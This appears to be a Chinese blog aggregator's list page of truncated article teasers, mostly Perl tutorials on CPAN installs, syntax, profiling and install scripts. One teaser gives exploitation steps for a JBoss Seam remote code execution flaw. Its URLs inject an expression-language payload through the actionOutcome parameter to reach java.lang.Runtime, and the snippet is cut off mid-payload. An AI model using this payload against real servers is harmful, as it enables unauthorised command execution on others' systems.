-
py pyc pyo pl plx pm
所属栏目:[大数据] 日期:2020-12-16 热度:141
.py是源程序 .pyc是编译后形成的文件,对源文件进行编译,就会生成.pyc文件。 .pyo为优化编译后的文件,python -o 源文件就可以将原文件编译为.pyo文件。 按照惯例,.pm 应该保存 Perl Module,也就是 Perl 模块。例如 Socket.pm .pl 应该保存 Perl Library[详细]
-
Perl注释格式
所属栏目:[大数据] 日期:2020-12-16 热度:103
(一)单行注释: 以#开头的行都被perl认为是注释 。但是有一个 例外 ,perl程序的第一行是#开头的,他指定了perl程序的解释器。 例如:#print 1; ? (二)多行注释: 最常用的方法是使用 POD(Plain Old Documentations) 来进行多行注释。方法如下: =podcod[详细]
-
cpan 安装perl模块 2个用法
所属栏目:[大数据] 日期:2020-12-16 热度:72
perl -MCPAN -e shell cpan instal? DBI:mysql cpan -I?? DBI:mysql[详细]
-
学习记录1205
所属栏目:[大数据] 日期:2020-12-16 热度:168
?单词背的比较慢,unit 9 perl第六章finish 跑步没能坚持下来,天气太冷了。 阅读看的有点杂,电影看太多了。 ? 行动总是和计划相差甚远。[详细]
-
Perl学习笔记之数组与哈希
所属栏目:[大数据] 日期:2020-12-16 热度:199
数组与哈希: Perl的数组相信是与其它语言都不太一样的地方,像它的$表示操作的是单个值,是一个元素,注意:可以是标量变量,也可以是数组或者散列中的某个元素。 如: $a ? $array[1] ? $hash{'key'} 都表示 一个元素 而对于@符号,它所代表的是数组,多个[详细]
-
Perl和Shell区别
所属栏目:[大数据] 日期:2020-12-16 热度:104
在学习Perl和Shell时,有很多人可能会问这样一个问题,到底先学习哪个或者学习哪个更好! 每个人都有自己的想法,以下是个人愚见,请多多指教! Perl是larry wall为解决日常工作中的一个编程问题而产生的,它最初的主要功能是用于分析基于文本的数据和生成这[详细]
-
Perl自定义模块的路径包含问题
所属栏目:[大数据] 日期:2020-12-16 热度:67
Perl自定义模块的路径包含问题 Posted by NinGoo at 2009-11-28 22:44 | 『 工具』 | 1 Comment ? Perl模块是重用代码的好方法,但是在调用自定义模块时的路径问题困扰了我许久。之前一直都是通过在代码中直接将自定义模块所在的绝对路径写入到@INC数组来解[详细]
-
perl批量处理
所属栏目:[大数据] 日期:2020-12-16 热度:122
和我shell那一篇文章需求一样 这个perl脚本是我找人写的 #!/bin/env?perl? ? use?strict;? ? opendir?DIRA,'/opt/test/20111201_import'?or?die?"$!n";? ? while?(my?$ fileA ?=? readdir ?DIRA)?{? ???chomp?$fileA;? ???next?unless?$ fileA ?=~?/.flv$/[详细]
-
perl profile
所属栏目:[大数据] 日期:2020-12-16 热度:50
old: ? ? ? perl -d:DProf test.pl dprofpp dprofpp -T new: tools:?http://search.cpan.org/dist/Devel-NYTProf/ cpan -i Devel::NYTProf perl -dNYTProf xxx.pl nytprofhtml[详细]
-
批量安装perl-cpan库文件
所属栏目:[大数据] 日期:2020-12-16 热度:76
#! /bin/bash #mv /root/cpan/mysql-mmm-* /root pathname="/usr/lib/perl5/site_perl/5.8.8/i386-linux-thread-multi/DBD" cpanpath=/root/cpan echo "/usr/local/mysql/lib/mysql/" /etc/ld.so.conf ldconfig file1="DBD-mysql-4.020.tar.gz" file2="perl-[详细]
-
perl点点滴滴
所属栏目:[大数据] 日期:2020-12-16 热度:198
1 全局匹配中怎么得到全部的匹配项 正则表达式在全局匹配时可以用while来逐个获取匹配到的记录,也可以用数组来接收。 my $str = "hello 1111 how are 232 you 2323";while( $str =~ /(%d)/g){ print $1;} 或者存到数组中 my $array = ($str =~ /(%d)/g);[详细]
-
Perl的特殊符号
所属栏目:[大数据] 日期:2020-12-16 热度:88
Perl的特殊符号 ? @?????? 数组 ? ? ? ? ? ? ? ? ? ? ? ? ?? $x{}?? x名字前面是美元符号($),后面是花括号({}),则其为 hash 元素 %?????? 要引用整个 hash,使用百分号(“ )作为前缀。前面几页中使用的 hash 的名字为%family_name。 $!????? 系统产生的一些可[详细]
-
perl 的eval中,不应当使用 next
所属栏目:[大数据] 日期:2020-12-16 热度:102
?????? The next command is like the continue statement in C; it starts the next iteration of the loop: ????????? LINE: while (STDIN) { ???? ??? ?next LINE if /^#/;?? ?# discard comments ???? ??? ?#... ????????? } ????? Note that if there w[详细]
-
各种平台下Perl模块的安装方法
所属栏目:[大数据] 日期:2020-12-16 热度:151
Perl到了第五版增加了模块的概念,用来提供面向对象编程的能力。这是Perl语言发展史上 ? 的一个里程碑。此后,广大自由软件爱好者开发了大量功能强大、构思精巧的Perl模块,极大地 ? 扩展了Perl语言的功能。CPAN(Comprehensive Perl Archive Network)是int[详细]
-
perl 代码整理工具
所属栏目:[大数据] 日期:2020-12-16 热度:149
? 下载 #wget http://search.cpan.org/CPAN/authors/id/S/SH/SHANCOCK/Perl-Tidy-20090616.tar.gz 安装 #tar zxf Perl-Tidy-20090616.tar.gz cd Perl-Tidy-20090616 #perl Makefile.PL make make install 使用 #perltidy xxxx.pl 它就会在本目录生成一个xxx.[详细]
-
Perl与Python处理文本数值的一个比较
所属栏目:[大数据] 日期:2020-12-16 热度:54
最近有意地用Python写一些原来习惯于用Perl写的脚本。发现Perl还是有其自由之处,在处理数值与字符串时有很大的方便。我所要做的工作是简单根据广告类别对模拟实验结果进行平均。 这个任务用Perl编写需要36行代码写成,Python需要43行。即使两者都尽可能一个[详细]
-
从源代码安装perl 5.12.3+DBI/DBD
所属栏目:[大数据] 日期:2020-12-16 热度:72
一,安装perl 1、下载5.12.3.tar.gz 2、解压 3、进入解压目录执行 ./Configure -des -Dprefix=/usr/local make make test make install 二,安装数据库模块 1、下载DBI 2、进入到解压目录 执行perl Makefile.PL make make test make install 3、下载DBD-mysq[详细]
-
perl: symbol lookup error: /usr/local/lib/libtdsodbc.so: und
所属栏目:[大数据] 日期:2020-12-16 热度:138
在安装freetds的时候我用的命令是这个: # cd /usr/local/src # wget ftp://ftp.ibiblio.org/pub/Linux/ALPHA/freetds/stable/freetds-stable.tgz # ftp://ftp.ibiblio.org/pub/Linux/ALPHA/freetds/stable/freetds-stable.tgz # cd freetds-0.82 # ./config[详细]
-
jboss seam 远程执行漏洞利用步骤
所属栏目:[大数据] 日期:2020-12-16 热度:165
目标:http://www.ip.com http://ip.com/welcome.seam?pwned=java.lang.UNIXProcess%4011b30c7cid=73478 http://ip.com/home.seam?actionOutcome=/webcome.xhtml%3fpwned%3d%23{expressions.getClass().forName ('java.lang.Runtime').getDeclaredMethods()[6[详细]
-
Perl 数字与字符串运算符之区别
所属栏目:[大数据] 日期:2020-12-16 热度:146
在Perl中,字符串比较和数字比较是由不同的运算符来完成的: 数字比较运算符: ,,=,=,==,!= 字符串比较运算符: lt,gt,le,ge,eq,ne cmp: 比较字符串,返回 -1,0 或者 1。 =: 比较数字,返回 -1,0 或者 1。 =~:用正则表达式来匹配,匹配的话返回True。 !~[详细]
-
Perl对字符串的运算的处理
所属栏目:[大数据] 日期:2020-12-16 热度:90
两个例子:? $a="k10"; $b = $a / 5 ; ? ? 结果是$b=0 $a="10k"; $b = $a / 5 ; ? 结果是$b=2 ? 可以看到,Perl里面比较麻烦的是:不会做严格的类型检查,可能会隐藏一些错误。[详细]
-
阅读代码要像阅读犹太法典
所属栏目:[大数据] 日期:2020-12-16 热度:56
导读:软件开发者 Alan Skorkin 写过一篇文章,讲述他为什么喜欢阅读他人代码,并建议其他同行也如此。因为阅读优秀代码是提高开发人员修为的一种捷径。微软的资深软件工程师 Eric Lippert 在答复同行JeremyK 的问题时也感叹阅读代码很难。 Seth Gordon 给 J[详细]
-
perl @_ $_ 的意思
所属栏目:[大数据] 日期:2020-12-16 热度:120
1.@_ 是函数传参时放置参数的数组,可以从中取实参 比如 my($para1,$para2...)=@_ ,函数调用时填了几个参数,便可以从该数组中取到几个参数。 2.$_ 是默认参数的意思,指的是在不指定的情况下,程序处理的上一个变量 比如 open(IN,"file.txt")while(IN){ pri[详细]
-
unixware ksh 实现定时备份
所属栏目:[大数据] 日期:2020-12-16 热度:107
ksh 实现定时备份 ? ------------getdays的脚本 year=`echo $1|cut -c1-4` ? month=`echo $1|cut -c5-6` ? day=`echo $1|cut -c7-8` ? b=`cal $month $year|wc -l ` ? cal? $month? $year |awk? '{for(i=1;i=NF;i++){if($i=='$day'){if (NR=='"$b"'-1) {prin[详细]
-
回调函数(callback)浅析
所属栏目:[大数据] 日期:2020-12-16 热度:153
编程一段时间之后,都会或多或少的接触到“回调函数”的概念,我对这个概念的理解也是浅尝辄止,就此分享一些浅见。 "软件模块之间总是存在着一定的接口,从调用方式上,可以把他们分为三类:同步调用、回调和异步调用。同步调用是一种阻塞式调用,调用方要[详细]
